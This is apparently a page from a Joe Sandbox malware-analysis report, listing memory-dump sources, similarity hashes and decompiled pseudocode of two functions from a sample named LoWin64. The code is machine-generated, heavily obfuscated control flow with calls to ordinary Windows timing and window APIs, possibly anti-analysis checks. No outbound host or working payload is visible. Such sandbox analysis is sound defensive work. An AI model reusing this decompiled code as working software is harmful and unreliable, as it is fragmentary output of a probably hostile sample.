0x7ff6b1ca849b
0x7ff6b1ca849f
0x7ff6b1ca84a5
0x7ff6b1ca84ab
0x7ff6b1ca84b3
0x7ff6b1ca84b9
0x7ff6b1ca84bb
0x7ff6b1ca84c2
0x7ff6b1ca84c6
0x7ff6b1ca84cd
0x7ff6b1ca84d3
0x7ff6b1ca84d8
0x7ff6b1ca84e0
0x7ff6b1ca84e6
0x7ff6b1ca84f1
0x7ff6b1ca84f7
0x7ff6b1ca84fe
0x7ff6b1ca8503
0x7ff6b1ca850b
0x7ff6b1ca8511
0x7ff6b1ca8516
0x7ff6b1ca8518
0x7ff6b1ca8520
0x7ff6b1ca852b
0x7ff6b1ca8536
0x7ff6b1ca8539
0x7ff6b1ca8541
0x7ff6b1ca8542
0x7ff6b1ca8543
0x7ff6b1ca8548
0x7ff6b1ca854e
0x7ff6b1ca8553
0x7ff6b1ca8558
0x7ff6b1ca855a
0x7ff6b1ca8562
0x7ff6b1ca856a
0x7ff6b1ca8574
0x7ff6b1ca8578
0x7ff6b1ca858f

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c53b8e22010139149611a542984c6ca1e5714db6ca0e1d17efb23d3fabf8ab8
Instruction ID: 19d158a22e45b65e38b690b4c31a38948a15da609d97ae4fea7ae85cd7969f10
Opcode Fuzzy Hash: 7c53b8e22010139149611a542984c6ca1e5714db6ca0e1d17efb23d3fabf8ab8
Instruction Fuzzy Hash: 4D618067E3C90AA7F7115F3CAD4A1B962A06F20609F740339D74DE218ADF3CB5828249

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CA7FFF Relevance: 7.7, APIs: 5, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 65%

			E00007FF67FF6B1CA7FFF(void* __eax, void* __edi, void* __ebp, void* __rdx, intOrPtr _a32, intOrPtr _a144, void* _a152, signed int _a160, signed long long _a168) {
				signed int _t67;
				void* _t89;
				signed int _t132;
				signed int _t141;
				signed int _t143;
				void* _t152;
				signed int _t159;
				void* _t160;
				void* _t162;
				void* _t170;
				void* _t173;
				void* _t174;
				void* _t176;
				void* _t184;
				void* _t185;
				void* _t187;
				void* _t199;
				void* _t202;
				void* _t205;
				void* _t208;
				void* _t211;
				signed long long _t214;
				void* _t217;
				void* _t220;
				void* _t223;
				void* _t226;
				void* _t229;
				void* _t232;
				void* _t235;
				void* _t238;
				void* _t241;
				signed long long _t244;
				void* _t247;
				signed long long _t252;
				void* _t255;
				void* _t258;
				void* _t261;
				void* _t264;
				void* _t267;
				void* _t276;
				void* _t279;
				void* _t282;
				void* _t285;
				void* _t288;
				void* _t291;
				void* _t294;
				void* _t300;
				void* _t305;
				signed long long _t312;
				signed long long _t323;
				void* _t326;
				signed long long _t329;
				void* _t335;

				_t202 = (_t199 - _t329 | _t323) + _t329;
				if (_t202 - 0x78 <= 0) goto 0xb1ca8031;
				GetCurrentProcess();
				if ((E00007FF67FF6B1D3ACF4(_t202) & r14d) >= 0) goto 0xb1ca8020;
				_t205 = (_t202 - _t329 | _t323) + _t329;
				 *0xb1decf60 = _t312;
				goto 0xb1ca8090;
				E00007FF67FF6B1D3ACF4(_t205);
				_t159 = E00007FF67FF6B1D3ACF4(_t205) & r14d;
				if (_t159 >= 0) goto 0xb1ca8046;
				_t208 = (_t205 - _t329 | _t323) + _t329;
				asm("movsd xmm0, [0x116742]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("ucomisd xmm0, xmm1");
				if (_t159 != 0) goto 0xb1ca805e;
				if (_t159 == 0) goto 0xb1ca8064;
				GetDoubleClickTime();
				 *0xb1decf60 = _t329;
				E00007FF67FF6B1D3ACF4(_t208);
				if (_t159 >= 0) goto 0xb1ca807a;
				_t211 = (_t208 - _t329 | _t323) + _t329;
				_t160 = _t211 - 0x3f;
				 *0xb1decf60 = _t312;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t211);
				if (_t160 >= 0) goto 0xb1ca80a0;
				_t214 = (_t211 - _t329 | _t323) + _t329;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xb1decf60 = _t214;
				goto 0xb1ca80c1;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t214);
				if (_t160 >= 0) goto 0xb1ca80d1;
				_t217 = (_t214 - _t329 | _t323) + _t329;
				 *0xb1decf60 = _t312;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t217);
				if (_t217 - 0x13 >= 0) goto 0xb1ca80f7;
				_t220 = (_t217 - _t329 | _t323) + _t329;
				_t162 = _t220 - 0x3f;
				if (_t162 >= 0) goto 0xb1ca811d;
				E00007FF67FF6B1D3ACF4(_t220);
				if (_t162 >= 0) goto 0xb1ca810c;
				_t223 = (_t220 - _t329 | _t323) + _t329;
				_t141 = r15d & 0xffffff00 | _t223 - 0x0000003f < 0x00000000;
				 *0xb1decf60 = _t312;
				goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(_t223) & r14d) >= 0) goto 0xb1ca812d;
				_t226 = (_t223 - _t329 | _t323) + _t329;
				if (_t226 - 0x18 >= 0) goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(_t226) & r14d) >= 0) goto 0xb1ca8142;
				_t229 = (_t226 - _t329 | _t323) + _t329;
				if (_t229 != 0x7e) goto 0xb1ca8168;
				_t67 = E00007FF67FF6B1D3ACF4(_t229);
				_t68 = _t67 & r14d;
				if ((_t67 & r14d) >= 0) goto 0xb1ca8157;
				_t232 = (_t229 - _t329 | _t323) + _t329;
				r8d = r15d;
				r8b = _t232 - 0x18 < 0;
				 *0xb1decf60 = r8d;
				r9d = _a32;
				r8d = _a160;
				E00007FF67FF6B1CB41F0(_t68, _t152, _t305, _a144, _t326); // executed
				E00007FF67FF6B1CB4910(E00007FF67FF6B1D3B360(_t141, _t305, 0, _t232, _t335), _t152, _a144);
				 *0xb1decf60 = _t329;
				E00007FF67FF6B1D3ACF4(_t232);
				E00007FF67FF6B1D3ACF4(_t232);
				asm("push es");
				_t235 = (_t232 - _t329 | 0xffffff80) + _t329;
				asm("movsd xmm6, [0x11694a]");
				_t170 = _t235 - 5;
				if (_t170 != 0) goto 0xb1ca81f1;
				E00007FF67FF6B1D3ACF4(_t235);
				if (_t170 >= 0) goto 0xb1ca81e3;
				_t238 = (_t235 - _t329 | 0xffffff80) + _t329;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t170 < 0) goto 0xb1ca8240;
				asm("bound ecx, [ebp+0x14]");
				asm("dec ebp");
				E00007FF67FF6B1D3ACF4(_t238);
				if (_t170 >= 0) goto 0xb1ca820e;
				_t241 = (_t238 - _t329 | 0xffffff80) + _t329;
				if (_t241 - 0x79 >= 0) goto 0xb1ca8218;
				if (0x60 - 0x67 < 0) goto 0xb1ca81f6;
				E00007FF67FF6B1D3ACF4(_t241);
				if (0x60 - 0x67 >= 0) goto 0xb1ca8228;
				_t244 = (_t241 - _t329 | 0xffffff80) + _t329;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = _t244;
				 *0xb1decf60 = _t329;
				GetWindowTextLengthW(??);
				 *0xb1decf60 = r12d;
				r12d = r12d + __ebp;
				_t173 = r12d - 0x42;
				if (_t173 < 0) goto 0xb1ca824e;
				GetMessageTime();
				E00007FF67FF6B1D3ACF4(_t244);
				if (_t173 >= 0) goto 0xb1ca8274;
				_t247 = (_t244 - _t329 | 0xffffff80) + _t329;
				_t174 = _t247 - 0x2e;
				if (_t174 > 0) goto 0xb1ca82a0;
				GetUserDefaultLangID();
				E00007FF67FF6B1D3ACF4(_t247);
				if (_t174 >= 0) goto 0xb1ca828f;
				_t143 = r15d & 0xffffff00 | (_t247 - _t329 | 0xffffff80) + _t329 - 0x0000002e <= 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca82e3;
				_t89 = E00007FF67FF6B1D3ACF4((_t247 - _t329 | 0xffffff80) + _t329);
				 *0x144CAB2D =  *((intOrPtr*)(0x144cab2d)) + _t143;
				 *0x144CA51D =  *((intOrPtr*)(0x144ca51d)) + _t143;
				 *0x6b =  *0x6b + _t89;
				_t252 = _a168 + _t329;
				_a168 = _t252;
				 *0xb1decf60 = _t252;
				_t176 = _t252 - 0x1f;
				if (_t176 < 0) goto 0xb1ca82a5;
				 *0xb1decf60 = _t329;
				asm("movsd xmm6, [0x116455]");
				_push(0xe800144c);
				 *_t252 =  *_t252 | _t252;
				if (_t176 >= 0) goto 0xb1ca8308;
				_t255 = (_t252 - _t329 | 0xffffff80) + _t329;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t176 != 0) goto 0xb1ca8318;
				if (_t176 == 0) goto 0xb1ca831d;
				if (0x3 - 0x13 < 0) goto 0xb1ca82f0; // executed
				GetForegroundWindow();
				if ((E00007FF67FF6B1D3ACF4(_t255) & r14d) >= 0) goto 0xb1ca8333;
				_t258 = (_t255 - _t329 | 0xffffff80) + _t329;
				if (_t258 - 0x34 >= 0) goto 0xb1ca8341;
				 *0xb1decf60 = r15d;
				goto 0xb1ca8387;
				asm("adc cl, [esp+edx]");
				if ((E00007FF67FF6B1D3ACF4(_t258) & r14d) >= 0) goto 0xb1ca835e;
				_t261 = (_t258 - _t329 | 0xffffff80) + _t329;
				if (_t261 - 0x1a >= 0) goto 0xb1ca8368;
				if (0x45 - 0x52 < 0) goto 0xb1ca8346;
				E00007FF67FF6B1D3ACF4(_t261);
				if (0x45 - 0x52 >= 0) goto 0xb1ca8378;
				_t264 = (_t261 - _t329 | 0xffffff80) + _t329;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(_t264);
				if (_t264 - 0x34 >= 0) goto 0xb1ca8397;
				_t267 = (_t264 - _t329 | 0xffffff80) + _t329;
				_t184 = _t267 - 0x1f;
				if (_t184 != 0) goto 0xb1ca83d6;
				E00007FF67FF6B1D3ACF4(_t267);
				if (_t184 >= 0) goto 0xb1ca83ac;
				_t185 = (_t267 - _t329 | 0xffffff80) + _t329 - 4;
				if (_t185 == 0) goto 0xb1ca83d6;
				GetForegroundWindow();
				E00007FF67FF6B1D3ACF4((_t267 - _t329 | 0xffffff80) + _t329);
				if (_t185 >= 0) goto 0xb1ca83c7;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r13d;
				r13d = r13d + __ebp;
				_t187 = r13d - 0x54;
				if (_t187 < 0) goto 0xb1ca83d6;
				asm("push ss");
				if (_t187 < 0) goto 0xb1ca83eb;
				 *0xb1decf60 = 0x10;
				 *0xb1decf60 = _t329;
				GetUserDefaultLangID();
				GetCurrentProcessId();
				GetTickCount();
				 *0xb1decf60 = _t329;
				IsIconic(??);
				asm("adc al, 0x0");
				_t276 = 0x50 + _t329;
				if (0x50 - 0x56 < 0) goto 0xb1ca8423;
				E00007FF67FF6B1D3ACF4(_t276);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8440;
				_t279 = (_t276 - _t329 | 0xffffff80) + _t329;
				asm("movsd xmm6, [0x1163f8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (0x50 - 0x56 >= 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(_t279);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8466;
				_t282 = (_t279 - _t329 | 0xffffff80) + _t329;
				if (0x50 - 0x63 < 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(_t282);
				E00007FF67FF6B1D3ACF4(_t282);
				E00007FF67FF6B1D3ACF4(_t282);
				if (0x50 - 0x63 >= 0) goto 0xb1ca8485;
				_t285 = (_t282 - _t329 | 0xffffff80) + _t329;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				goto 0xb1ca84d3;
				E00007FF67FF6B1DA4028();
				 *0xb1decf60 = _t329;
				E00007FF67FF6B1D3ACF4(_t285);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84bb;
				_t288 = (_t285 - _t329 | 0xffffff80) + _t329;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x50;
				E00007FF67FF6B1D3ACF4(_t288);
				E00007FF67FF6B1D3ACF4(_t288);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84e8;
				_t291 = (_t288 - _t329 | 0xffffff80) + _t329;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t291);
				E00007FF67FF6B1D3ACF4(_t291);
				if (0x50 - 0x6c >= 0) goto 0xb1ca8513;
				_t294 = (_t291 - _t329 | 0xffffff80) + _t329;
				if (0x50 - 0x18 >= 0) goto 0xb1ca855a;
				E00007FF67FF6B1D3ACF4(_t294);
				if (0x50 - 0x18 >= 0) goto 0xb1ca8528;
				if (0x50 - 0x19 > 0) goto 0xb1ca855a;
				asm("sldt word [ebx]");
				asm("fisttp qword [ecx+0x144a201d]");
				asm("scasd");
				asm("daa");
				 *0x50 =  *0x50 | 0x00000050;
				if (0x50 - 0x19 >= 0) goto 0xb1ca8550;
				_t300 = ((_t294 - _t329 | 0xffffff80) + _t329 - _t329 | 0xffffff80) + _t329;
				if (0x50 != 0x3b) goto 0xb1ca855a;
				if (0x3e - 0x49 < 0) goto 0xb1ca8532;
				_t132 = E00007FF67FF6B1D3ACF4(_t300);
				if (0x3e - 0x49 >= 0) goto 0xb1ca856a;
				asm("movaps xmm6, [esp+0x30]");
				r15b = (_t300 - _t329 | 0xffffff80) + _t329 - 0x19 > 0;
				 *0xb1decf60 = r15d;
				return _t132 & r14d;
			}

0x7ff6b1ca8003
0x7ff6b1ca8008
0x7ff6b1ca800a
0x7ff6b1ca8018
0x7ff6b1ca801e
0x7ff6b1ca8029
0x7ff6b1ca802f
0x7ff6b1ca8031
0x7ff6b1ca803b
0x7ff6b1ca803e
0x7ff6b1ca8044
0x7ff6b1ca8046
0x7ff6b1ca804e
0x7ff6b1ca8052
0x7ff6b1ca8056
0x7ff6b1ca805a
0x7ff6b1ca805c
0x7ff6b1ca805e
0x7ff6b1ca8064
0x7ff6b1ca806a
0x7ff6b1ca8072
0x7ff6b1ca8078
0x7ff6b1ca807d
0x7ff6b1ca8083
0x7ff6b1ca8089
0x7ff6b1ca8090
0x7ff6b1ca8098
0x7ff6b1ca809e
0x7ff6b1ca80a0
0x7ff6b1ca80a7
0x7ff6b1ca80ab
0x7ff6b1ca80b2
0x7ff6b1ca80b8
0x7ff6b1ca80ba
0x7ff6b1ca80c1
0x7ff6b1ca80c9
0x7ff6b1ca80cf
0x7ff6b1ca80da
0x7ff6b1ca80e0
0x7ff6b1ca80e7
0x7ff6b1ca80ef
0x7ff6b1ca80f5
0x7ff6b1ca80f7
0x7ff6b1ca80fa
0x7ff6b1ca80fc
0x7ff6b1ca8104
0x7ff6b1ca810a
0x7ff6b1ca8112
0x7ff6b1ca8115
0x7ff6b1ca811b
0x7ff6b1ca8125
0x7ff6b1ca812b
0x7ff6b1ca8130
0x7ff6b1ca813a
0x7ff6b1ca8140
0x7ff6b1ca8145
0x7ff6b1ca8147
0x7ff6b1ca814c
0x7ff6b1ca814f
0x7ff6b1ca8155
0x7ff6b1ca8157
0x7ff6b1ca815d
0x7ff6b1ca8161
0x7ff6b1ca8168
0x7ff6b1ca816d
0x7ff6b1ca8184
0x7ff6b1ca81a1
0x7ff6b1ca81a6
0x7ff6b1ca81ac
0x7ff6b1ca81b1
0x7ff6b1ca81bf
0x7ff6b1ca81c4
0x7ff6b1ca81c6
0x7ff6b1ca81ce
0x7ff6b1ca81d1
0x7ff6b1ca81d3
0x7ff6b1ca81db
0x7ff6b1ca81e1
0x7ff6b1ca81e3
0x7ff6b1ca81e7
0x7ff6b1ca81eb
0x7ff6b1ca81ef
0x7ff6b1ca81fa
0x7ff6b1ca81fb
0x7ff6b1ca81fe
0x7ff6b1ca8206
0x7ff6b1ca820c
0x7ff6b1ca8211
0x7ff6b1ca8216
0x7ff6b1ca8218
0x7ff6b1ca8220
0x7ff6b1ca8226
0x7ff6b1ca8228
0x7ff6b1ca822f
0x7ff6b1ca8233
0x7ff6b1ca823a
0x7ff6b1ca8242
0x7ff6b1ca8248
0x7ff6b1ca824e
0x7ff6b1ca8255
0x7ff6b1ca8258
0x7ff6b1ca825c
0x7ff6b1ca825e
0x7ff6b1ca8264
0x7ff6b1ca826c
0x7ff6b1ca8272
0x7ff6b1ca8274
0x7ff6b1ca8277
0x7ff6b1ca8279
0x7ff6b1ca827f
0x7ff6b1ca8287
0x7ff6b1ca8295
0x7ff6b1ca8298
0x7ff6b1ca829e
0x7ff6b1ca82a0
0x7ff6b1ca82ae
0x7ff6b1ca82b4
0x7ff6b1ca82ba
0x7ff6b1ca82c9
0x7ff6b1ca82cb
0x7ff6b1ca82d2
0x7ff6b1ca82d8
0x7ff6b1ca82db
0x7ff6b1ca82dd
0x7ff6b1ca82e3
0x7ff6b1ca82f4
0x7ff6b1ca82fb
0x7ff6b1ca8300
0x7ff6b1ca8306
0x7ff6b1ca8308
0x7ff6b1ca830c
0x7ff6b1ca8310
0x7ff6b1ca8314
0x7ff6b1ca8316
0x7ff6b1ca831b
0x7ff6b1ca831d
0x7ff6b1ca832b
0x7ff6b1ca8331
0x7ff6b1ca8336
0x7ff6b1ca8338
0x7ff6b1ca833f
0x7ff6b1ca834a
0x7ff6b1ca8356
0x7ff6b1ca835c
0x7ff6b1ca8361
0x7ff6b1ca8366
0x7ff6b1ca8368
0x7ff6b1ca8370
0x7ff6b1ca8376
0x7ff6b1ca8381
0x7ff6b1ca8387
0x7ff6b1ca838f
0x7ff6b1ca8395
0x7ff6b1ca8397
0x7ff6b1ca839a
0x7ff6b1ca839c
0x7ff6b1ca83a4
0x7ff6b1ca83ac
0x7ff6b1ca83af
0x7ff6b1ca83b1
0x7ff6b1ca83b7
0x7ff6b1ca83bf
0x7ff6b1ca83d0
0x7ff6b1ca83d6
0x7ff6b1ca83dd
0x7ff6b1ca83e0
0x7ff6b1ca83e4
0x7ff6b1ca83ef
0x7ff6b1ca83f0
0x7ff6b1ca83f2
0x7ff6b1ca83f8
0x7ff6b1ca83fe
0x7ff6b1ca8404
0x7ff6b1ca840a
0x7ff6b1ca8412
0x7ff6b1ca8418
0x7ff6b1ca8427
0x7ff6b1ca8429
0x7ff6b1ca842e
0x7ff6b1ca8430
0x7ff6b1ca8438
0x7ff6b1ca843e
0x7ff6b1ca8440
0x7ff6b1ca8448
0x7ff6b1ca844c
0x7ff6b1ca8450
0x7ff6b1ca8454
0x7ff6b1ca8456
0x7ff6b1ca845e
0x7ff6b1ca8464
0x7ff6b1ca8469
0x7ff6b1ca846b
0x7ff6b1ca8470
0x7ff6b1ca8475
0x7ff6b1ca847d
0x7ff6b1ca8483
0x7ff6b1ca848e
0x7ff6b1ca8494
0x7ff6b1ca849b
0x7ff6b1ca849f
0x7ff6b1ca84a5
0x7ff6b1ca84ab
0x7ff6b1ca84b3
0x7ff6b1ca84b9
0x7ff6b1ca84bb
0x7ff6b1ca84c2
0x7ff6b1ca84c6
0x7ff6b1ca84cd
0x7ff6b1ca84d3
0x7ff6b1ca84d8
0x7ff6b1ca84e0
0x7ff6b1ca84e6
0x7ff6b1ca84f1
0x7ff6b1ca84f7
0x7ff6b1ca84fe
0x7ff6b1ca8503
0x7ff6b1ca850b
0x7ff6b1ca8511
0x7ff6b1ca8516
0x7ff6b1ca8518
0x7ff6b1ca8520
0x7ff6b1ca852b
0x7ff6b1ca8536
0x7ff6b1ca8539
0x7ff6b1ca8541
0x7ff6b1ca8542
0x7ff6b1ca8543
0x7ff6b1ca8548
0x7ff6b1ca854e
0x7ff6b1ca8553
0x7ff6b1ca8558
0x7ff6b1ca855a
0x7ff6b1ca8562
0x7ff6b1ca856a
0x7ff6b1ca8574
0x7ff6b1ca8578
0x7ff6b1ca858f

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF6B1CA800A

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID: CurrentProcess
String ID:
API String ID: 2050909247-0
Opcode ID: 0d97b89b29e15e23236045a55378b2ccf98fa063c49578f54cbcb35ad76fcdfc
Instruction ID: b1bc2042ddcecdf398fd89ebfd9cdd7fae012ae1483109bb7631f2ffc2ec132b
Opcode Fuzzy Hash: 0d97b89b29e15e23236045a55378b2ccf98fa063c49578f54cbcb35ad76fcdfc
Instruction Fuzzy Hash: AE518267F3C90A67F7115F3CAD492BA72A16F2060AF740339D709E218ADF3CB5858248

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CA7F53 Relevance: 7.6, APIs: 5, Instructions: 140
windowtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 64%

			E00007FF67FF6B1CA7F53(void* __eax, void* __edi, void* __ebp, void* __rdx, intOrPtr _a32, intOrPtr _a144, void* _a152, signed int _a160, signed long long _a168) {
				signed int _t82;
				void* _t104;
				signed int _t147;
				signed int _t158;
				signed int _t160;
				void* _t169;
				void* _t178;
				signed int _t185;
				void* _t186;
				void* _t188;
				void* _t196;
				void* _t199;
				void* _t200;
				void* _t202;
				void* _t210;
				void* _t211;
				void* _t213;
				void* _t225;
				void* _t228;
				void* _t231;
				void* _t234;
				void* _t237;
				void* _t240;
				void* _t243;
				void* _t246;
				void* _t249;
				void* _t252;
				void* _t255;
				signed long long _t258;
				void* _t261;
				void* _t264;
				void* _t267;
				void* _t270;
				void* _t273;
				void* _t276;
				void* _t279;
				void* _t282;
				void* _t285;
				signed long long _t288;
				void* _t291;
				signed long long _t296;
				void* _t299;
				void* _t302;
				void* _t305;
				void* _t308;
				void* _t311;
				void* _t320;
				void* _t323;
				void* _t326;
				void* _t329;
				void* _t332;
				void* _t335;
				void* _t338;
				void* _t344;
				void* _t349;
				signed long long _t367;
				void* _t370;
				signed long long _t373;
				void* _t379;

				_t228 = (_t225 - _t373 | _t367) + _t373;
				if (_t228 == 0x5e) goto 0xb1ca7f84;
				GetWindowTextLengthW(??);
				if ((E00007FF67FF6B1D3ACF4(_t228) & r14d) >= 0) goto 0xb1ca7f76;
				_t231 = (_t228 - _t373 | _t367) + _t373;
				goto 0xb1ca80da;
				E00007FF67FF6B1D3ACF4(_t231);
				if (_t231 - 0x15 >= 0) goto 0xb1ca7f94;
				_t234 = (_t231 - _t373 | _t367) + _t373;
				if (_t234 - 0x63 < 0) goto 0xb1ca7fb2;
				if ((E00007FF67FF6B1D3ACF4(_t234) & r14d) >= 0) goto 0xb1ca7fa9;
				_t237 = (_t234 - _t373 | _t367) + _t373;
				_t178 = _t237 - 0x13;
				if (_t178 <= 0) goto 0xb1ca80c1;
				E00007FF67FF6B1D3ACF4(_t237);
				if (_t178 >= 0) goto 0xb1ca7fc2;
				_t240 = (_t237 - _t373 | _t367) + _t373;
				asm("movsd xmm6, [0x1169fe]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t178 < 0) goto 0xb1ca80ba;
				if ((E00007FF67FF6B1D3ACF4(_t240) & r14d) >= 0) goto 0xb1ca7fec;
				_t243 = (_t240 - _t373 | _t367) + _t373;
				if (_t243 - 0x1e < 0) goto 0xb1ca80ba;
				if ((E00007FF67FF6B1D3ACF4(_t243) & r14d) >= 0) goto 0xb1ca8005;
				_t246 = (_t243 - _t373 | _t367) + _t373;
				if (_t246 - 0x78 <= 0) goto 0xb1ca8031;
				GetCurrentProcess();
				if ((E00007FF67FF6B1D3ACF4(_t246) & r14d) >= 0) goto 0xb1ca8020;
				_t249 = (_t246 - _t373 | _t367) + _t373;
				 *0xb1decf60 = 0;
				goto 0xb1ca8090;
				E00007FF67FF6B1D3ACF4(_t249);
				_t185 = E00007FF67FF6B1D3ACF4(_t249) & r14d;
				if (_t185 >= 0) goto 0xb1ca8046;
				_t252 = (_t249 - _t373 | _t367) + _t373;
				asm("movsd xmm0, [0x116742]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("ucomisd xmm0, xmm1");
				if (_t185 != 0) goto 0xb1ca805e;
				if (_t185 == 0) goto 0xb1ca8064;
				GetDoubleClickTime();
				 *0xb1decf60 = _t373;
				E00007FF67FF6B1D3ACF4(_t252);
				if (_t185 >= 0) goto 0xb1ca807a;
				_t255 = (_t252 - _t373 | _t367) + _t373;
				_t186 = _t255 - 0x3f;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t255);
				if (_t186 >= 0) goto 0xb1ca80a0;
				_t258 = (_t255 - _t373 | _t367) + _t373;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xb1decf60 = _t258;
				goto 0xb1ca80c1;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t258);
				if (_t186 >= 0) goto 0xb1ca80d1;
				_t261 = (_t258 - _t373 | _t367) + _t373;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t261);
				if (_t261 - 0x13 >= 0) goto 0xb1ca80f7;
				_t264 = (_t261 - _t373 | _t367) + _t373;
				_t188 = _t264 - 0x3f;
				if (_t188 >= 0) goto 0xb1ca811d;
				E00007FF67FF6B1D3ACF4(_t264);
				if (_t188 >= 0) goto 0xb1ca810c;
				_t267 = (_t264 - _t373 | _t367) + _t373;
				_t158 = r15d & 0xffffff00 | _t267 - 0x0000003f < 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(_t267) & r14d) >= 0) goto 0xb1ca812d;
				_t270 = (_t267 - _t373 | _t367) + _t373;
				if (_t270 - 0x18 >= 0) goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(_t270) & r14d) >= 0) goto 0xb1ca8142;
				_t273 = (_t270 - _t373 | _t367) + _t373;
				if (_t273 != 0x7e) goto 0xb1ca8168;
				_t82 = E00007FF67FF6B1D3ACF4(_t273);
				_t83 = _t82 & r14d;
				if ((_t82 & r14d) >= 0) goto 0xb1ca8157;
				_t276 = (_t273 - _t373 | _t367) + _t373;
				r8d = r15d;
				r8b = _t276 - 0x18 < 0;
				 *0xb1decf60 = r8d;
				r9d = _a32;
				r8d = _a160;
				E00007FF67FF6B1CB41F0(_t83, _t169, _t349, _a144, _t370); // executed
				E00007FF67FF6B1CB4910(E00007FF67FF6B1D3B360(_t158, _t349, 0, _t276, _t379), _t169, _a144);
				 *0xb1decf60 = _t373;
				E00007FF67FF6B1D3ACF4(_t276);
				E00007FF67FF6B1D3ACF4(_t276);
				asm("push es");
				_t279 = (_t276 - _t373 | 0xffffff80) + _t373;
				asm("movsd xmm6, [0x11694a]");
				_t196 = _t279 - 5;
				if (_t196 != 0) goto 0xb1ca81f1;
				E00007FF67FF6B1D3ACF4(_t279);
				if (_t196 >= 0) goto 0xb1ca81e3;
